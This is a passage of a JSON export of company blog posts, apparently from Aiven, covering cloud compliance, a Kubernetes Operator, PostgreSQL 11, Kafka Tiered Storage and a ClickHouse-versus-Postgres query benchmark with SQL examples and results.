article](https://help.aiven.io/en/articles/977466-cloud-security-overview \"Cloud security overview\") on the topic.\n## Wrapping up\nAs a customer, even if you're not working in a regulated industry, but especially if you are, require compliance with data security standards from your cloud service providers. This protects your users and makes your life easier. And as a CSP, get compliant! Following rigorous standards of data security benefits everyone.\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog/feed.xml) and [blog](https://aiven.io/blog/feed.xml) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"1nf4L7bvQOLXPjLRjAxmDO","_ref":"1nf4L7bvQOLXPjLRjAxmDO","_type":"reference"},{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-80bbdffed57edcc24dcf391c6a22b4d02a4c1dc6-1567x844-png","_type":"reference"}},"publishedAt":"2021-04-07T00:00:00.000Z","seo":{"metaDescription":"Aiven’s long list of security standard compliances is an advantage to our customers. Find out how cloud service buyers and providers both benefit.","metaImage":{"alt":"","asset":{"_ref":"image-80bbdffed57edcc24dcf391c6a22b4d02a4c1dc6-1567x844-png","_type":"reference"}},"metaTitle":"Data security compliance in the cloud"},"slug":{"_type":"slug","current":"/blog/data-security-compliance-in-the-cloud"},"subtitle":"Aiven’s long list of security standard compliances is an advantage to our customers. Find out how cloud service buyers and providers both benefit.","title":"Data security compliance in the cloud"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"4RgEkiQnfWu9GYeHWPi7j6","_rev":"4xxJDWP8Sw6o7zBrU9ylEn","_type":"post","_updatedAt":"2023-06-14T10:04:32Z","authors":[{"_key":"7jvTwkcIsfjUdBxnDaw00U","_ref":"7jvTwkcIsfjUdBxnDaw00U","_type":"reference"},{"_key":"7aLlIDft447BvdfSDjeIdu","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"If you've been wondering if you can manage Aiven services with Kubernetes, wonder no more - we've launched a Kubernetes Operator for just that purpose!\n\n[Kubernetes](https://kubernetes.io \"Kubernetes project main page\") is a popular open source tool for managing and orchestrating container based applications. You can use it to automate the deployment, scaling and management of your platform and applications. \n\nWhen using Kubernetes, you define a desired state for the system and leave it up to Kubernetes to reach and maintain that state. Kubernetes also includes the ability to extend the automation capabilities of the system to include new services and applications. One way to create such extensions is in the form of [Kubernetes Operators](https://kubernetes.io/docs/concepts/extend-kubernetes/operator/ \"Kubernetes Operators explained\"). \n\nBecause of its robust history and unparalleled flexibility, Kubernetes is a widespread service orchestration tool, supported by all major cloud providers and developed by an active community.\n\n## A new way to manage your Aiven services\nSo - what can you do with your your [Aiven for PostgreSQL](https://aiven.io/postgresql \"Aiven for PostgreSQL product page\") and [Aiven for Apache Kafka](https://aiven.io/kafka \"Aiven for Apache Kafka product page\") services on Kubernetes? The Aiven Operator for Kubernetes offers access to all the same operations as our public REST API. At the same time, it lets you manage your Aiven infrastructure using Kubernetes tooling. It also supports Aiven native resources, like Aiven Projects and Aiven VPCs.\n\nWith the Aiven Operator for Kubernetes, we want to support you in building and deploying modern software applications quickly and efficiently. Our managed services become a seamless part of your day-to-day data operations, usable through the standard tooling you are familiar with.\n## Start using the Aiven Kubernetes Operator\nYou can get the Aiven Kubernetes Operator [on the project page in GitHub](https://aiven.github.io/aiven-operator/ \"Aiven Operator for Kubernetes project page\") - follow the instructions to install it and get started.\n\n## Wrapping up\nThe centralized access provided by the Aiven Operator for Kubernetes brings more focus to your database administration work. Go and check it out today!\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"2q1kxdEuQtJX4PDTtjnfGe","_ref":"2q1kxdEuQtJX4PDTtjnfGe","_type":"reference"},{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"9yQ4jxpUoNWbSOSWYlghM","_ref":"9yQ4jxpUoNWbSOSWYlghM","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-74d85a2831f6e3b574ebf5c3d45f58144b25842c-1567x844-png","_type":"reference"}},"publishedAt":"2021-09-13T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Aiven now offers a Kubernetes Operator for some Aiven services. Find out how you can use it to manage your whole service stack.","metaImage":{"alt":"","asset":{"_ref":"image-74d85a2831f6e3b574ebf5c3d45f58144b25842c-1567x844-png","_type":"reference"}},"metaTitle":"Aiven adds Kubernetes Operator for PostgreSQL and Kafka"},"slug":{"_type":"slug","current":"/blog/aiven-launches-kubernetes-operator-support-for-postgresql-and-apache-kafka"},"subtitle":"Aiven now offers a Kubernetes Operator for some Aiven services. Find out how you can use it to manage your whole service stack.","title":"Aiven launches Kubernetes Operator support for PostgreSQL® and Apache Kafka®"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"3MzPdya5bNv78u9lue1cL8","_rev":"7XVZ09pFVUXWSWXVXIxVuu","_type":"post","_updatedAt":"2023-08-21T21:06:52Z","authors":[{"_key":"LFe7wYXE7xFFvwFXOIwwX","_ref":"LFe7wYXE7xFFvwFXOIwwX","_type":"reference"}],"body":"Last October, we were the [first to offer PostgreSQL 10 for production environments](https://aiven.io/blog/aiven-is-first-to-offer-postgresql-10). __This November,__ we are proud to announce that our users are the first to gain access to PostgreSQL 11.\n\nAs with all major releases, PostgreSQL 11 includes bug fixes and is full of performance changes; but, if there were a theme to this latest release, it would center around improved handling of large-scale data.\n\nIn this post, we’ll take a look at some of the more noteworthy improvements around partitioning and queries, and how they make Postgres even more powerful for use cases with large data sets.\n\n## Noteworthy updates to PostgreSQL 11\n\n### 1. Improved partitioning\n\nPartition elimination has been greatly enhanced, providing even quicker access to tables with multiple partitions and opening it up to query execution. Additionally, some tasks are now automated, such as updated rows moving to new partitions based on the row contents.\n\n### 2. Parallel queries\n\nPostgreSQL 11 comes with many improvements to parallelization, including what can be parallelized and parallel worker configuration. For example, you can now build btree indexes in parallel and parallelize certain queries.\n\n### 3. Just-in-Time compilation\n\nA powerful way to increase the execution speed through making some expressions into natively executed functions by the CPU, Just-in-Time compilation has been expanded to include support for additional SQL code and parts of query plans.\n\n## Wrapping up\n\nPostgreSQL 11 continues to improve PG’s scalability by improving partitioning and parallel queries, and expanding Just-in-Time compilation. These improvements will result in greater speed and resource management.\n\nCoupled with Aiven features like local SSDs, Aiven users will get even greater performance from PostgreSQL 11. If you’re an Aiven user, get the latest version by simply [performing an in-place upgrade](https://aiven.io/blog/postgresql-major-version-in-place-upgrades-supported-on-aiven) within the console. Not an Aiven user?\n\n[Take our PostgreSQL as a Service for a complimentary, no-commitment spin](https://console.aiven.io/signup). In the meantime, subscribe to our [changelog](https://aiven.io/changelog/feed.xml) and [blog](https://aiven.io/blog/feed.xml) RSS feeds, and follow us on [Linkedin](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) to stay current with the latest news. Talk soon!\n\n\\* For a complete breakdown of PostgreSQL 11 improvements, [check out their release notes](https://www.postgresql.org/docs/devel/static/release-11.html).\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-16d8ca4e1ad5b390d9479dfb54cb355e097a5cf0-725x405-png","_type":"reference"}},"publishedAt":"2018-11-05T00:00:00.000Z","seo":{"metaDescription":"PostgreSQL 11 is now available on the Aiven platform. Read our latest post to find out what changes have been made to PG 11.","metaImage":{"alt":"","asset":{"_ref":"image-16d8ca4e1ad5b390d9479dfb54cb355e097a5cf0-725x405-png","_type":"reference"}},"metaTitle":"PostgreSQL® 11 now generally available on Aiven"},"slug":{"_type":"slug","current":"/blog/postgresql-11-now-generally-available-on-aiven"},"subtitle":"PostgreSQL 11 is now available on the Aiven platform. Read our latest post to find out what changes have been made to PG 11.","title":"PostgreSQL® 11 now generally available on Aiven"}
{"__i18n_lang":"en","_createdAt":"2023-12-06T16:50:33Z","_id":"8b556977-dfaf-4620-b4da-f81d0c19f3b5","_rev":"neae7oL4y1FotDvvRL0QWE","_type":"post","_updatedAt":"2024-07-11T11:44:22Z","authors":[{"_key":"c46a1aab5a15","_ref":"055b2496-c6da-421a-b3da-8c25cdc90fc0","_type":"reference"},{"_key":"7d7a3ef7582a","_ref":"165358df-fb36-400c-a384-d0874d19dfff","_type":"reference"}],"body":"Apache Kafka® has established itself as the integral component of data architectures requiring to stream data or events in real time. At Aiven, we have seen our customers use Apache Kafka in an increasingly diverse range of use cases, handling larger and larger volumes of data. As a result, customers are often searching for cost effective ways to store large volumes of data in Apache Kafka, while at the same time ensuring their growing workloads remain stable and production-grade. \n\nTo address the challenges posed by supporting large scale data storage within data and event streaming systems, Aiven has worked with the Open Source Apache Kafka community to add support for Tiered Storage to Apache Kafka. Starting with its public preview in Kafka 3.6, Tiered Storage allows Kafka users to seamlessly store older, less frequently accessed data in lower cost storage. This allows for a dual-tier storage setup, where the local storage tier continues to be used for storing log segments on the Kafka broker nodes, and the remote storage tier uses cloud object storage such as Amazon S3, Azure Blob Storage, or Google Cloud Storage. This allows broker node storage to be reduced in size, saving money and also improving upgrade and migration performance by eliminating the need for large node-to-node data replication operations.\n\nWe are excited to offer customers the capability to substantially reduce storage costs in Apache Kafka today by releasing Tiered Storage for Aiven for Apache Kafka. Tiered Storage for Aiven for Apache Kafka is in early availability for existing and new customers using Kafka 3.6. \n\nIf you’re interested in experimenting with Tiered Storage for Aiven for Apache Kafka during the early availability period, please contact your Aiven account team. They will provide support and guidance to help you set it up for the Kafka topics of your choice. Services in Early Availability are in beta and Aiven does not recommend their use for production workloads. As with all services launched in Early Availability, the team at Aiven will be collecting feedback and monitoring the stability and performance of Tiered Storage for Aiven for Apache Kafka prior to announcing General Availability and support for production workloads in the imminent future.\n\n\n## How much could you save?\n\nAs an example, consider a retailer is preparing to handle increased data volumes during November and December driven by global retail shopping events – Singles Day, Black Friday and the holiday shopping season. The retailer is running an Aiven Business-4 Kafka service on the google-europe-central2 region and their forecast indicates that they need to add 990GB of disk storage. Using on-node storage, this would cost $859 USD per month. In comparison, with Tiered Storage for Aiven for Apache Kafka, the same capacity would cost only $85.50 USD per month - a 90% reduction in storage costs. In addition, the retailer’s technical team no longer needs to operate based on a forecast, with the risk of under or over provisioning their capacity needs.\n\n## Tiered Storage for Apache Kafka benefits\n\nWith Tiered Storage in Aiven for Apache Kafka, customers can benefit from:\n\n- **Limitless storage in Aiven for Apache Kafka:** Previously, Kafka was usually configured with a retention period (typically around days or a week) bounded by the local disk size. Data older than the retention time was either expired (deleted) or moved to a third-party system, often external storage, for long-term retention. In the first case, older data would be lost, and in the second, applications would need to support two entirely different retrieval mechanisms, depending on the age of the data. With Tiered Storage, Aiven for Apache Kafka becomes a comprehensive storage solution that effortlessly handles real-time and historical data, simplifying customers' application architecture and removing temporal limitations.\n\n- **Greater elasticity for Aiven for Apache Kafka clusters:** With all the data stored locally, any scaling or node replacement processes required the entire dataset to be copied from old to new nodes. This can result in time-consuming rebalancing for Kafka clusters. With Tiered Storage, replicating nodes only requires copying the data on the node itself. This means customers benefit from shorter upgrade times and quicker migration between cloud providers.\n\n- **Optimized cloud infrastructure costs:** With Tiered Storage for Apache Kafka, customers can decouple their computation from their data storage needs and achieve up to a 50% reduction in their Total Cost of Operation. Customers no longer need to add new Kafka nodes to allow greater data retention. They now only need to do so when they need greater horizontal scaling for performance or durability reasons.\n\n![Tiered Storage for Apache Kafka benefits](https://cdn.sanity.io/images/sczeoy4w/production/4a521c154180920af02478b26937bd67f14e6c16-1792x998.png?w=450)\n\n## Pricing \u0026 Availability\n\nTiered Storage pricing starts from $0.09 per GB/month, depending on the precise object storage system used. Costs for Tiered Storage are determined by the amount of remote storage used, measured in GB/hour, and will be confirmed when enabling Tiered Storage in the Aiven console. For a detailed explanation of Tiered Storage pricing please check the [documentation](https://aiven.io/docs/products/kafka/concepts/tiered-storage-how-it-works). Tiered Storage supports cloud storage services from all three hyperscalers – Amazon S3, Google Cloud Storage and Azure Blob Storage.\n\n## Tiered Storage in other Aiven services\n\nWe're working on adding tiered storage capabilities across our platform. Customers using [Aiven for Clickhouse®](https://aiven.io/clickhouse) might be interested in testing out Tiered Storage in their Clickhouse instances right now. Tiered Storage in Clickhouse is currently in limited availability, but you can [get in touch](https://aiven.io/contact) with our team today if you’re interested in early access.\n\n## How to enable Tiered Storage in Aiven for Apache Kafka\n\nTo enable Tiered Storage in Aiven for Apache Kafka for your non-production workloads, please contact your Aiven account team and request that they enable support for Tiered Storage for Avien for Apache Kafka. Once Tiered Storage is enabled, follow these steps:\n\n**[1]** Navigate to the [Aiven console](https://console.aiven.io/)\n\n**[2]** Access your ‘User Information’ from the top right-hand corner of the console\n\n![Access your ‘User Information’ from the top right-hand corner of the console](https://cdn.sanity.io/images/sczeoy4w/production/ae4611a54d17bf10c3854184f459c164c0c9d87d-1992x939.png?w=450)\n\n**[3]** Select ‘Feature preview’ from the drop-down menu\n\n![Select ‘Feature preview’ from the drop-down menu](https://cdn.sanity.io/images/sczeoy4w/production/668193666af2531c52ffb99d408194468b511729-1992x939.png?w=450)\n\n**[4]** In the ‘Feature Preview’ section click ‘Enable’ in the Aiven for Apache Kafka® tiered storage section\n\n![In the ‘Feature Preview’ section click ‘Enable’ in the Aiven for Apache Kafka® tiered storage section](https://cdn.sanity.io/images/sczeoy4w/production/ee227aed596f66879d1651ca8c06e4d465a5c49a-1999x1047.png?w=450)\n\n**[5]** Navigate back to the Aiven Console Home\n\n![Navigate back to the Aiven Console Home](https://cdn.sanity.io/images/sczeoy4w/production/493cea76289e94ac9807f56b956cda7e59c1cb08-1999x1047.png?w=450)\n\n**[6]** Create a new Kafka service, \n\n![Create a new Kafka service](https://cdn.sanity.io/images/sczeoy4w/production/8087fc1ef673e050ced7b134d6a379b7a447a0cc-1999x916.png?w=450)\n\n**[7]** Select Apache Kafka\n\n![Select Apache Kafka](https://cdn.sanity.io/images/sczeoy4w/production/f3b122adc01a5ae369c2f77734c12256d735d017-2880x1516.png?w=450)\n\n\n**[8]** Select Kafka version 3.6 to be able to use Tiered Storage in Aiven for Apache Kafka:\n\n![Select Kafka version 3.6 to be able to use Tiered Storage in Aiven for Apache Kafka:](https://cdn.sanity.io/images/sczeoy4w/production/0f3051818b4262d9d0b9f02a1499b368b7b1abe0-1999x1047.png?w=450)\n\n**[9]** Select your cloud provider, service region, and service plan as normal\n\n**[10]**  As you enabled the Tiered Storage feature preview, there is now an extra option to enable it for this new service. Once activated, the pricing for Tiered Storage is automatically shown in the right-hand column of the Aiven console.\n\n![Tiered Storage in Aiven for Apache Kafka](https://cdn.sanity.io/images/sczeoy4w/production/9c4e88a739a5d8e0e668b3f839e56a0f311c09e0-1999x1047.png?w=450)\n\n**[11]** Click ‘Create Service’ and you are all set. \n\nOnce activated, deactivating Tiered Storage will cause any data in the cloud storage tier to be lost. To deactivate Tiered Storage while in Early Availability, you need to contact Aiven Support. \n\n___\n\nCustomers trying the feature today will be able to choose tiered data per topic in their Kafka instances and offload older data to Amazon S3, Google Cloud Storage or Azure Blob Storage. You can find out more about how Tiered Storage in Aiven for Apache Kafka works in the corresponding [documentation](https://aiven.io/docs/products/kafka/concepts/tiered-storage-how-it-works). \n\nIf you are new to Aiven, be sure to sign up for a [free trial](https://console.aiven.io/signup) and get first-hand experience using Tiered Storage in Aiven for Apache Kafka. Follow our [changelog](https://aiven.io/changelog) for the full list of updates on the Aiven platform and future additions to Tiered Storage in the months to come!\n\n\n## Further reading\n\n- [Benchmarking Apache Kafka Performance Part 1: Write Throughput](https://aiven.io/blog/benchmarking-kafka-write-throughput)\n","categories":[{"_key":"b3b9b957dfa0","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"internalBlogProcess":"product","mainImage":{"_type":"mainImage","alt":"Apache Kafka, Kafka, Tiered Storage, Kafka Tiered Storage, Cloud Storage, Streaming Data, Aiven, Aiven for Apache Kafka","asset":{"_ref":"image-fc41b3817e02bc9221b38dd853466b9cc8032064-1200x628-png","_type":"reference"}},"publishedAt":"2023-12-07T13:30:00.000Z","related":[{"_key":"c9ff6da19bf6","_ref":"28fdc694-77e0-4f97-9cfa-a31210ccf841","_type":"reference"},{"_key":"c9b2b111d8cf","_ref":"005ef164-918b-4dbb-962f-a3063bc4f8e5","_type":"reference"},{"_key":"b1b61ac415dd","_ref":"2dc31ac9-3761-40fd-bf1d-b48bff2f9435","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Tiered Storage for Apache Kafka® delivers an improved cost-to-performance ratio, increased operational flexibility, and greater scalability for customers","metaImage":{"_type":"mainImage","alt":"Apache Kafka, Kafka, Tiered Storage, Kafka Tiered Storage, Cloud Storage, Streaming Data, Aiven, Aiven for Apache Kafka","asset":{"_ref":"image-fc41b3817e02bc9221b38dd853466b9cc8032064-1200x628-png","_type":"reference"}},"metaTitle":"Introducing Tiered Storage for Aiven for Apache Kafka®"},"slug":{"_type":"slug","current":"/blog/introducing-tiered-storage-for-aiven-for-apache-kafka"},"subtitle":"Tiered Storage for Apache Kafka® delivers an improved cost-to-performance ratio, increased operational flexibility, and greater scalability for customers","title":"Introducing Tiered Storage for Aiven for Apache Kafka®: Unlocking Improved Cost-Efficiency and Scalability"}
{"__i18n_lang":"en","_createdAt":"2023-01-23T07:57:22Z","_id":"c8901b43-32a7-4bce-9728-2f563c22aaa5","_rev":"BVM0UzymoPXcfHGeYlH68z","_type":"post","_updatedAt":"2024-08-09T10:41:53Z","authors":[{"_key":"a316fe187c92","_ref":"f1dd24db-accf-463c-bf14-fe82adbdf1ae","_type":"reference"}],"body":"Many companies are still using a general-purpose database for every project. Usually it's the easiest way to get up and running quickly. If you already have a lot of expertise in that database, why would you use something else?  \n\nThe answer is performance. \n\nGeneralist RDBMs are built to be pretty good at everything -- that's what a generalist is. But today, we have more and more database technologies created for specific workloads and use cases. They are designed from the ground up to be extremely good at *one thing*. And when it comes to query performance, a general RDBM doesn't stand a chance.\n\nI'm going to demonstrate this with our new Aiven for ClickHouse database. And not just with some standard benchmarking tools - I'll test drive it with some real world data, something that can answer real questions that businesses might be interested in. \n\n## The dataset\nI went hunting for interesting (and free) datasets that I could play around with.\n\n*Quick disclaimer: This is not going to be a deep dive into optimization of either Postgres or ClickHouse. Yes, you could use partitioning, secondary indexes, or all sorts of table or database settings to improve performance. This is intended to provide a baseline, because BOTH services can be optimized.*\n\nWhat I found is a treasure trove of data scraped from YouTube by the Archive Team (archive.org), featuring metadata for 4.5 billion videos as they were in December 2021. The reason this dataset exists is because YouTube announced they were going to no longer display the number of dislikes on videos. So this is the last point where we can see this information that they stopped sharing.\n\nYou can download the dataset yourself at [the Internet Archive](https://archive.org/search.php?query=subject%3A%22YouTubeDislikes%22)\n\nFor my own sanity, and to save time and space, I removed the video description and the metadata fields while loading the data. Both can have a lot of special characters, or new lines, and would frankly not be efficient to store in a data warehouse. Something like OpenSearch would be a better home, maybe for future exploration. \n\n## The questions\nThe next step was to come up with some questions I wanted to explore. This is what I chose:\n 1. How do people react to live content, as opposed to uploaded videos? Since live content is by necessity less polished, do people like (or dislike) it at a higher ratio compared to pre-recorded videos?\n 2. Which channels have a high view count to subscriber ratio? Are these generally driven by a few videos that have been extremely popular, but have not converted viewers into subscribers?\n 3. What videos have gone most viral relative to the usual view count of their uploader?\n 4. How has the use of subtitles changed over time? Has automation led to them being available on more videos?\n 5. How does turning comments off affect the like / dislike ratio? \n 6. What is the most watched / liked Unlisted video?\n\nWith these questions, I started to dig in.\n\n## Exploring the Data\n\nI chose two plans with the same price: \n- Aiven for ClickHouse - Business-16\n- Aiven for Postgres - Business-32 \n \nI gave both some extra disk space. The first thing I noticed once I got the data loaded is that ClickHouse is much better on disk compression. The ClickHouse table was about a third the size of the Postgres table. \n\n```\n| -                     | ClickHouse    | Postgres      |\n| --------------------- | ------------- | ------------- |\n| Plan                  | Business-16   | Business-32   |\n| CPUs                  | 2             | 8             |\n| RAM                   | 16            | 32            |\n| Nodes                 | 2             | 2             |\n| Disk Available (GB)   | 1150          | 1100          |\n| Disk Used (GB)        | 362           | 956           | \n```\n\n\nHere are the table definitions I used.\n\n### ClickHouse \n\n```sql\nCREATE TABLE default.videos\n(\n    id String,\n    fetch_date String,\n    upload_date String,\n    title String,\n    uploader_id String,\n    uploader String,\n    uploader_sub_count Int32,\n    is_age_limit Bool,\n    view_count UInt64,\n    like_count UInt64,\n    dislike_count UInt64,\n    is_crawlable Bool,\n    is_live_content Bool,\n    has_subtitles Bool,\n    is_ads_enabled Bool,\n    is_comments_enabled Bool\n) ENGINE = MergeTree()\nORDER BY (uploader_id)\n```\n\n### Postgres \n\n```sql\nCREATE TABLE videos\n(\n    id TEXT,\n    fetch_date TEXT,\n    upload_date TEXT,\n    title TEXT,\n    uploader_id TEXT,\n    uploader TEXT,\n    uploader_sub_count BIGINT,\n    is_age_limit Boolean,\n    view_count BIGINT,\n    like_count BIGINT,\n    dislike_count BIGINT,\n    is_crawlable Boolean,\n    is_live_content Boolean,\n    has_subtitles Boolean,\n    is_ads_enabled Boolean,\n    is_comments_enabled Boolean,\n    PRIMARY KEY (id)\n)\n```\n\n\nBoth of these tables are pretty basic, and we could definitly improve the performance of queries by adding secondary indexes, or by changing some settings. We could also make some changes to compress the data to use even less space. However, we're still in the exploratory phase. We can focus on optimization once we know what kind of queries we'll be running.\n\n## Live vs uploaded content\n\nBy definition, live content will be a little more raw and unpolished than uploaded videos, which are often extensively edited and composed by selecting from numerous takes. How do viewers feel about that? Lots of experts in influencer and content creator culture put heavy emphasis on the value of authenticity. Does live content feel more authentic? What about the interactive nature of live performances, where viewers can feel involved in the video (and the community) by chatting with other viewers and the creator - does that help drive likes as well?\n\n\n### ClickHouse query\n\n```sql\nSELECT \n  is_live_content, \n  AVG(\n    COALESCE(like_count,0) / COALESCE(view_count,1)\n    ) as LIKE_AVG, \n  STDDEV_POP(\n    COALESCE(like_count,0) / COALESCE(view_count,1)\n    ) as LIKE_STD, \n  AVG(\n    COALESCE(dislike_count,0) / COALESCE(view_count,1)\n    ) as DISLIKE_AVG, \n  STDDEV_POP(\n    COALESCE(dislike_count,0) / COALESCE(view_count,1)\n    ) as DISLIKE_STD \nFROM videos \nWHERE view_count \u003e 0\nGROUP BY is_live_content;\n```\n\n### Postgres query\n\n```sql\nSELECT \n  is_live_content, \n  AVG(\n    COALESCE(like_count,0) / COALESCE(view_count,1)\n    ) as LIKE_AVG, \n  STDDEV_POP(\n    COALESCE(like_count,0) / COALESCE(view_count,1)\n    ) as LIKE_STD, \n  AVG(\n    COALESCE(dislike_count,0) / COALESCE(view_count,1)\n    ) as DISLIKE_AVG, \n  STDDEV_POP(\n    COALESCE(dislike_count,0) / COALESCE(view_count,1)\n    ) as DISLIKE_STD \nFROM videos \nWHERE view_count \u003e 0\nGROUP BY is_live_content;\n```\n### Runtime \n\n```\n| ClickHouse  | Postgres    | % Diff |\n| ----------- | ----------- | ------ |\n| 113 seconds | 918 seconds | 712%   |\n```\n### Results\n\n```\n| Is Live? | Avg Likes/View | Std Dev | Avg Dislikes/View | Std Dev |\n| -------- | -------------- | ------- | ----------------- | ------- |\n| False    | 0.0530         | 0.3160  | 0.0025            | 0.0479  |\n| True \t   | 0.0985         | 0.4036  | 0.0060            | 0.0396  |\n```\n\nOur databases agree that live content in general gets more likes and dislikes per viewer, almost double the rate in both cases. Oddly the standard deviation for likes is higher for live content, but lower for dislikes.\n\n## Many Views, Few Subscribers\nI was curious to find out what kind of channels have a very high number of views, as opposed to how many people are actually subscribed to the channel. What sort of videos do those channels create? Is it a single video that has gone viral? Or is it that to make it to the top of the list, you need a few videos with many views?\n\n\n### ClickHouse query\n\n```sql\nSELECT\n    uploader_id,\n    SUM(view_count)/MAX(uploader_sub_count) \nFROM videos \nWHERE uploader_sub_count \u003e 10\nGROUP BY uploader_id \nORDER BY SUM(view_count)/MAX(uploader_sub_count) desc \nLIMIT 5;\n```\n\n### Postgres query\n\n```sql\nSELECT\n    uploader_id,\n    SUM(view_count)/MAX(uploader_sub_count) \nFROM videos \nWHERE uploader_sub_count \u003e 10\nGROUP BY uploader_id \nORDER BY SUM(view_count)/MAX(uploader_sub_count) desc \nLIMIT 5;\n```\n\n### Runtime \n\n```\n| ClickHouse  | Postgres     | % Diff  |\n| ----------- | ------------ | ------- |\n| 193 seconds | 3756 seconds | 1846%   |\n```\n\n### Results\n```\n| uploader_id              | Current Channel Name | Views:Subscriber ratio |\n| ------------------------ | -------------------- | -----------------------|\n| UCZcSkQahCZvXg742oP7hhsw | Ziyan Lee            | 10,423,195             |\n| UC3OqJzvmr4dJkoWxLuXMR1Q | Day New              | 8,427,802              |\n| UCzXfnq1jnSKsbCYwCgci-vA | Vive Games           | 7,704,057              |\n| UCsCP_JmGPLM319iSVURXhPQ | game funny           | 7,491,109              |\n| UCGwjz9YOQXoAXJW-2kNyD8g | Naga                 | 6,576,452              |\n```\n\nThis is a little disappointing: ranks 1, 2, and 5 are what look like ads for low effort mobile games, and 3 and 4 only have unlisted videos. \n\nLet's see if we can filter out the ads and get more interesting results by bumping up to a minimum of 1000 subscribers, and filter to only count listed videos:\n\n```\n| uploader_id              | Current Channel Name | Views:Subscriber ratio |\n| ------------------------ | -------------------- | ---------------------- |\n| UCRuLp80UV9FO3EFbQzF-D5A | SHADIAO VIDEOS       | 673887                 |\n| UC2WmR5jLqZWivWKrs5j2ZQg | 石秀云                | 629814                 |\n| UC21yzf1STldxuTtFV_y_qKg | (Terminated Account) | 622086                 |\n| UCSSmw60pHH3kKOj2xUwYdOQ | UAC Google           | 461971                 |\n| UC5LCpCZy0tnDhzGGI-fHlkQ | Eshare kwai          | 415367                 |\n```\n\nHmm, again ranks 1, 2, and 5 are similar, mostly reposts from Likee, and all accounts have a few very popular videos. The rank 3 account has been terminated, so nothing to report there. Rank 4 is once again mobile app ads, this time showing for an app that can age or de-age your selfies. \n\nSince digital advertising tends to have low conversion rates, perhaps it's not surprising that this section is dominated by ads instead of viral videos like I expected.\n\n## Subtitles over the years\n\nWith advances in speech recognition, it’s easier than ever to create subtitles for videos. Are people taking advantage of this? They added auto-captioning in late 2009, was there a jump around that time? \n\n\n### ClickHouse query\n\n```sql\nSELECT\n  Substring(upload_date,1,4) as upload_year,\n  AVG(has_subtitles)\nFROM videos\nGROUP BY Substring(upload_date,1,4)\nORDER BY Substring(upload_date,1,4) ASC;\n```\n### Postgres query\n\n```sql\nSELECT\n  Substring(upload_date,1,4) as upload_year,\n  AVG(CASE WHEN has_subtitles THEN 1 ELSE 0 END)\nFROM videos\nGROUP BY Substring(upload_date,1,4)\nORDER BY Substring(upload_date,1,4) ASC;\n```\n\n### Runtime \n\n```\n| ClickHouse  | Postgres     | % Diff  |\n| ----------- | ------------ | ------- |\n| 121 seconds | 1021 seconds | 743%    |\n```\n\n### Results\n\n```\n| Year | % of Videos w/ Subtitles|\n| ---- | -------------------- |\n| 2005 |   9.4                |\n| 2006 |   10.9               |\n| 2007 |   11.4               |\n| 2008 |   12.8               |\n| 2009 |   14.8               |\n| 2010 |   16.3               |\n| 2011 |   16.4               |\n| 2012 |   22.5               |\n| 2013 |   30.4               |\n| 2014 |   28.1               |\n| 2015 |   31.1               |\n| 2016 |   32.0               |\n| 2017 |   32.1               |\n| 2018 |   35.6               |\n| 2019 |   39.8               |\n| 2020 |   56.0               |\n| 2021 |   58.5               |\n```\n\nPeople certainly *have* been making increasing use of subtitles for their videos. The largest jump was in 2020, which I had to look into for curiosity's sake. Apparently at that, time YouTube was removing their community captions feature, which allowed you to upload captions for other people's video. This prompted a very successful campaign to have creators add captions to their videos for hard of hearing and deaf viewers.\n\n\n## Comments and controversial videos\n\nComments are a mixed blessing. They’re an important sign of engagement for the algorithms that rule the internet, and can be a valuable source of feedback for creators. But they can also be vector for harassment, much more impactful than a simple “Dislike”. Do creators turn comments off sometimes for their more controversial videos? \n\n### ClickHouse query\n\n```sql\nSELECT \nCEILING(log10(view_count)) as Views_OOM,\nAVG( \n    CASE \n        WHEN is_comments_enabled = 1 THEN NULL \n        ELSE \n            CASE \n            WHEN COALESCE(like_count,0) = COALESCE(dislike_count,0)\n                THEN 0.5 \n            WHEN like_count IS NULL or like_count = 0 \n                THEN 0\n            WHEN dislike_count IS NULL or dislike_count = 0 \n                THEN 1\n            ELSE like_count / dislike_count \n        END \n    END) as comments_disabled_like_ratio,\nAVG( \n    CASE \n        WHEN is_comments_enabled = 1 THEN \n            CASE \n                WHEN COALESCE(like_count,0) = COALESCE(dislike_count,0) \n                    THEN 0.5 \n                WHEN like_count IS NULL or like_count = 0 \n                    THEN 0\n                WHEN dislike_count IS NULL or dislike_count = 0 \n                    THEN 1\n                ELSE like_count / dislike_count \n            END  \n        ELSE NULL\n            \n    END) as comments_enabled_like_ratio\nFROM videos\nGROUP BY Views_OOM\nORDER BY Views_OOM;\n```\n### Postgres Query\n```sql\nSELECT \nCEILING(log10(view_count + 1)) as Views_OOM,\nAVG( \n    CASE \n        WHEN is_comments_enabled THEN NULL 